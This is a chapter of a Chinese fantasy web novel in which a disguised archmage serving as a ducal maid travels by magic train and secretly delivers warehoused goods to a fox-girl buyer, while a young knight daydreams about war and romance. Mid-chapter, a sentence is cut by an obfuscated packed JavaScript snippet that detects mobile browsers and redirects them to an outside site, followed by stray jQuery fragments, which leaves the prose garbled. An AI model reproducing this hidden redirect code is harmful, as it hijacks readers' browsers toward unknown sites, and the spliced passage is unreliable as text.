34.第三十四章

作品:《所有人都以为我处心积虑

    阳光穿过稀薄的晨雾,为马车上亚尔诺维奇家族纹章上的雄鹰渡上一层金羽。


    几十位仆人忙碌着将行李装上马车。


    马车旁公爵夫人为公爵之子维克多披上绒毛披风。


    “实在不行,就当去芙蕾利亚度假。当然,遇见喜欢的姑娘也可以邀请她一起跳舞。”她保养得宜的白嫩双手将披风上的褶皱抚平,“苔藓城这边有关塞拉菲拉特使的一切都交给你父亲来负责。”


    “可是还有之前苔藓城的那粧案子呢。”维克多有些不情愿,但这位年轻的执剑人显然还没到可以脱离父母势力范围的程度。


    “查了那么久,查出什么来了吗?”柳德米拉叹气,“既然骑士团对外已经有了结论,就不要再去追寻那些邪教徒的痕迹了。”


    “你以后只会遇到越来越多这样的事情,学会装傻和自我调节非常重要。”


    “好了。”公爵夫人挥挥手,“现在你要做的事情只有一件,那就是跟我走。”


    从苔藓城到芙蕾利亚的路程非常遥远,在过去的几百年间,这条布满沼泽和冻土的路被吃苦耐劳的骡马们年复一年踏得瓷实而坚硬。


    但现在的情况大大不同,十几年前在贝蒂亚的主持下,一条贯通圣嘉兰中西部的魔法列车开始修建,这条名为“MF-01”的列车连接了苔藓城和贝蒂亚的首都艾尔皮斯圣城,是过去圣嘉兰和贝蒂亚友谊的象征。


    现在这种友谊已荡然无存,但修好的列车长久地留存了下来,就像一条巨龙轰鸣着驰骋在圣嘉兰的雪原上。


    大部分的行李已经提前出发,随着列车的轰鸣驶向芙蕾利亚。


    公爵夫人一行人则是轻装简行,只带上了路途上需要使用的东西。但即使如此,也是不小的重量。


    梵西控制着自己的力道,尽力将自己搬运行李的力气控制在一个正常劳动妇女的大小。同行的佐亚则是一边气喘吁吁地搬着行李,一边抱怨着车厢的狭小,不符合公爵府的礼仪。


    “你就知足吧,好歹坐列车比马车快一点。连公主殿下也在这趟列车上呢。”


    “怎么就不能借用教会的转移魔法阵呢……”佐亚小声嘟囔着,“列车多慢呀。”


    梵西倒是很看好这种交通方式。


    人类最难得的就是拥有双脚,但人类最难受的是只有一双脚。如果可以用工具替代双脚,那么人类的足迹就可以遍布山川湖海。


    更重要的是,一张车票就能让许多从未远行过的人拥有了见识更加广阔世界的权力。


    远行和瞬移不再只是贵族和教会的特权。


    列车的燃料是魔能,但列车的运行不止依靠魔能。这就意味着改进冶炼工艺可以提升列车速度。也许有朝一日魔法列车可以在广阔的平原上、在一片横贯国家的山脉中穿行,做到朝发夕至,那很多从前没有想象过的事情就将成为可能。


    梵西单手扒着列车的窗沿,看着车外逐渐连成一线的景色,圣嘉兰广阔的雪原和苔藓城外一望无际的桦木林就这样伴着凌冽的寒风一齐吹进她眼底。


    她突然前所未有地思念故土,想回去看看叶扶危说过的“我们期待已久的春天”究竟是什么样子。六年的时间也许不足以让丝莱大地上出现和“MF-01”一样的列车,但也足以让这片饱经沧桑的国家逐渐从废墟中缓过神来。


    她多想回去摸一摸那片土地呀,她想和那些亲爱的人们一起把曾经倒塌的房屋再重建起来、把荒芜的田地开垦出来、让废弃的荒山、断裂的土地再次被桥梁和驿道连接。


    她想家了。


    但是没关系。她想,完成了芙蕾利亚的工作之后,她就可以静待明年的春天了。


    芙蕾利亚距离苔藓城很遥远。


    即使乘坐“MF-01”,也要走上两天一夜。


    雪原的景色不能多看,否则会患上雪盲症,列车内的娱乐非常稀少,女仆们都聚在一起玩牌。


    在这趟漫长的旅途中,维克多没来找过梵西。也许他来找过,但是以仆从车厢堆满了杂物人挤人的状态,他恐怕也很难下脚。


    这倒是方便了梵西。她几乎整段旅途都在睡觉,除了轮班到她去准备餐食或者服侍公爵夫人。


    大魔导师梵西精力充沛,但是像她这样昼夜不息地连轴转两天,短暂做梦的间隙还在推演局势的话,铁人也是会困倦的。更不要说她还要为芙蕾利亚主战场留足精力。


    旅途快到终点,她抹了把脸从睡梦中醒来。


    佐亚仍在精力充沛地和人聊着八卦,说是整段旅途娜丝塔夏都没去找过维克多一次,一直安静地待在车厢里。


    梵西挑眉:“也许她和我一样在睡觉?”


    女仆们把牌一扔笑作一团:“谁会像你那么能睡啊!”


    但总之,娜丝塔夏在旅途中的表现让公爵夫人确定了梵西确实起到了与她给出的价码相符合的作用。


    到芙蕾利亚的时候已经是暮色沉沉。


    梵西估计舟车劳顿的公爵夫人会选择先安顿下来,明天再找她谈话。


    于是在公爵府众人收拾完在芙蕾利亚的城堡,并纷纷打着哈欠卸下的时候,梵西一抹脸颊,换了张脸,趁着公爵府的警示神术阵还没搭建起来,打了个响指消失在了女仆单间中。


    她连着空间折跃几次,在一间空荡的民房停滞下来。


    这间房间里灰尘弥漫,是很久没人居住过的痕迹,也许是因为其中的农户早已被不断扩张的联合矿业公司赶了出去。


    她打开被蛛网层层包裹的柜门,在里面找到两套纯新的工装夹克。


    她勾唇,想来接应的人已经赶到了芙蕾利亚。


    她将身形改变成契合工装夹克的状态,捏出了一张遍布雀斑但朝气蓬勃的脸。头发被全部扎起来,她蹬上一双便于行动的胶鞋,披上工装夹克,放了个还原魔法将民房内一切变化还原,随即拉开房门走了出去。


    一道劲风袭来,梵西面不改色地擒住来人的手臂,反手将他扣在地上:“说了不要偷袭我,会条件反射的。哥哥。”


    梵东挣扎了一下,发现挣不开,无奈笑道:“只是善意的拥抱。现在连这点你都要拒绝哥哥了吗?”


    “等事情都结束了再抱也不迟。”梵西顺手搜了一遍梵东的身,确认他不是谁伪装的也没带什么危险的可疑物品之后放开了他。


    她将梵东从地上拉起来,拍了拍他的肩膀:“穿越多国边境线很危险,更不要说那些潜藏的多国通缉犯。这段时间辛苦你了。我们边走边说。”


    梵西单手拂过墙壁,那里传来熟悉的气息。蓝色魔法阵随即亮起,那原本坚实的墙壁竟泛起了波纹,浮现出一个幽深的通道。


    “哇哦。”她眼里带着惊喜,“芄兰的新发明?有点意思。”


    梵东揉了揉手臂:“是的,空间折叠门。这是出了实验室的第一件产品。你只管往里走,空间会自己折叠。”


    梵西拉过梵东的手臂帮他揉了揉,抬脚往里走:“芄兰进步神速啊。这次回国还带了什么新奇玩意儿过来?”


    “东西没有多的。好消息倒是有一个,要听吗?”


    “讲。”


    “尤利娅她们还挺适应国内的生活的,而且列夫拿到了优抚认证,以后的生活应该不会太困难。”


    梵西微不可查地叹了一口气:“那就好。”


    “货品状态如何?有缺损吗?”


    “A类损耗率2%,B类损耗率3%,C类和其他还在统计中。总体还在可控范围内。”


    “走那条线路能有这个损耗率已经是很不错了。”梵西注意到了梵东略显失落的神情,拍了拍他的肩膀,“第一次出大型任务做成这样已经很不错了,不要苛责自己。”


    “可是距离你……距离能帮上你还有很大差距。”


    梵西轻笑一声:“要追上我?那你回去再练五百年吧。”


    她捏了捏梵东的脸颊,感受到了他的失落:“好啦。难道是因为我一见面就公事公办的说话方式不开心?我亲爱的哥哥,是你大还是我大啊?怎么要我反过去安慰你?”


    “今晚还要去见大客户,打起精神来。先陪我去检查检查货品。”


    今晚会见梵西的并非“匿夜之都”的精灵少年,而是另一位顾盼生姿的狐人少女。


    娜丝塔夏手下全是俊男美女啊。梵西想,怪不得选维克多当靶子呢,在所有贵族少年中也就他长得还行了。


    “二位请。”狐人少女音色清亮,举止利落大方,“多余的客套话就不说了。今晚验货顺利的话,我即刻付清尾款。”


    “好。”梵西见她爽快,也不多废话,“请您闭上眼睛,把手给我,我带着您走。货仓地点必须保密,请您见谅。”


    狐人少女手有些凉,但把手给梵西的动作毫不犹豫。


    “那就麻烦您了。”


    货仓地点在距离芙蕾利亚十公里的废旧工厂,十年前联合矿业公司因为地质塌陷和大型矿难被迫放弃了这个厂址。整个厂区现在已经变成了流浪汉和野生鸟雀的乐园。


    梵西带着狐人少女在厂区的各个库房穿梭,最终停在一间不起眼的小仓库面前。


    这里被空间魔法改造过,占地不超过五十平方米的库房被拓展后放得下整整五吨重的货品。


    梵西将库房的防御和隐秘魔法阵开启,拉开了狐人少女的眼罩:“都在这里了。劳您核验。”


    “这怎么还有两个人?”狐人少女一脸诧异地指着库房一角正在吃火锅的两个工人。


    “哦,这个。”梵西朝他们挥了挥手,“和您东家说好了,还附赠两个技术工,这都是经验丰富的老工匠了,包她满意。这里是他们的五年劳动合同。五年之后我们来接他们回去。”


    狐人少女平静的嘴角有些抽搐:“她可真是……你们真是……我就知道……”


    她叹了口气,转过身来,对着梵西笑道:“您放心。这里不会亏待他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15469116|166473||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    们的。”


    “此外,您……”


    两个工人一抹嘴巴上的红油冲过来拦在梵西和梵东面前:“这位小姐,老板是非卖品啊。”


    狐人少女按了按额角,脸上笑容依旧标准:“我只是想问,您是否接受以黄金的形式来偿付货款?”


    “当然可以。”


    梵西想,长期来看,黄金一定比原定的圣嘉兰金币更值钱。


    只是……为什么是黄金?无论从哪个角度来看,对于娜丝塔夏来说,货币都比黄金更好搞到手吧?


    难不成她还从沼泽城的地下挖出金矿来了?


    狐人少女从尾巴上揪下几根绒毛往地面一吹,几十个长得和她一模一样的狐人少女就这样出现在了仓库中。她们四散开来去检查那些分门别类摆放着的货品,而本体则站在原地有一搭没一搭地和梵西聊着天。


    “这个库房连同里面的所有货品都由这个玉牌内置的魔法阵联通。”梵西将一张羊皮纸递给狐人少女,“这是玉牌的使用方式。”


    “确认货品无误之后,您就可以带着玉牌离开了,我的人会带着您原路返回。”她朝仓库一角的两位工人点头,对着狐人少女笑道,“合作愉快,诚待您下次光临。”


    “怪不得合同上的运输费用如此高昂,还需要签署保密协议。”狐人少女摸着下巴点了点头,“原来是用这种交货方式。她说要从你们这偷师,竟然不是瞎说的。”


    梵西笑了:“也不要小看我们啊。”


    “好了。”狐人少女拍了拍手,四散在仓库各处的剪影们又回到了她手中,恢复了绒毛的模样,“检查完毕。数目和品类都没有什么问题。这是尾款。”


    她取出一个魔法口袋放到梵西手里:“也是一种空间魔法,不过比起你们的技术,还是差了不少。”


    “哪里的话。能掌握空间魔法本来就不是什么容易的事。”梵西笑了笑,掂了掂手中的魔法口袋,感知到和她预估的手感差不多,就反手将口袋扔给了梵东检查,“您也太谦虚了。”


    狐人少女笑了,声音里是完成交易后的轻松:“合作愉快。还要劳烦老板送我回去了。”


    “我的荣幸。”梵西微微弯腰,牵起狐人少女的手,踏出门的那一刻,仓库内的魔法阵也随着她的离开而熄灭。


    尽管舟车劳顿,但今晚对维克多·亚尔诺维奇来说仍旧是个不眠之夜。


    他想起在拉诺夫巷看到的惨剧。


    他想起在查案时大家看到他身上亚尔诺维奇家族纹章时语焉不详的神情。


    他想起母亲催促他挑选妻子的神情和父亲在他成为执剑人之前的叮嘱。


    他在想自己是否真的有资格成为一个执剑人?


    他的能力达到了,可是他却从未践行过自己的誓言。


    他似乎一直处在父母的羽翼之下,他们为他安排好了一切。他清楚自己只要按照父亲规划的路走就能成为骑士团的团长,辅佐伊万成为一代英明的大公。


    他想起列昂尼德,那个雄狮一般的男人、骑士团的顶梁柱,他真的会成长成那个样子,能够带领着骑士团守卫圣嘉兰的荣光吗?


    他总是在梵西面前宣称自己是圣嘉兰最强的男人,她也会用亮晶晶的眼神仰慕地看向他。这是骑士团训练的成果,也是事实。但这种力量上的强大在面对权力旋涡时似乎也没能起到多大的作用。


    骑士团的教育告诉他逃避是懦夫的行为。


    可是他的确不想遵从父亲的安排,一路顺遂地在骑士团步步高升。他向往铁与血的争斗,向往战争的硝烟,想要像历代圣嘉兰的伟大将军那样在战场上所向披靡,为自己的国家带来胜利。


    他也不想遵从母亲的安排,找一个出身高贵、漂亮且乏味的贵族少女,相敬如宾地度过一生。他想要真正的爱情,像贝蒂亚的戏剧中所描述的那样,不为世俗所接受的、惊天动地的爱情。他一定要在结束一场场艰难的战斗之后、在生死徘徊的边缘想起自己的恋人,然后挣扎着将利剑刺入敌人的身体,最后力竭倒地,轻吻着怀里恋人的相片,说亲爱的,这场胜利是我为你带来的。


    这才是男人的浪漫!


    这才是他所向往的人生!


    这才是他维克多·亚尔诺维奇作为未来名垂青史的骑士团团长应该有的人生!


    而梵西,那个如同百合花一样美丽脆弱的女孩,就是他选定的、人生的女主角。


    她会和每一个战士家中普通的女人一样,在他出征时流泪、在家中为他的安危祈祷、在他凯旋而归时带着活泼可爱的的孩子在城门口迎接他。


    他想,这才应该是他的妻子!而不是哪个连流泪都觉得违背了礼节的、只知道采购珠宝和首饰的、呆板的贵族小姐!


    他在这种热血沸腾的心潮中入眠。


    床头是一朵不知何时出现的彼岸花。这朵花过于浓艳,以至于盛开到了近乎糜烂的地步,在月光的照耀下反射出油画般斑斓的色彩。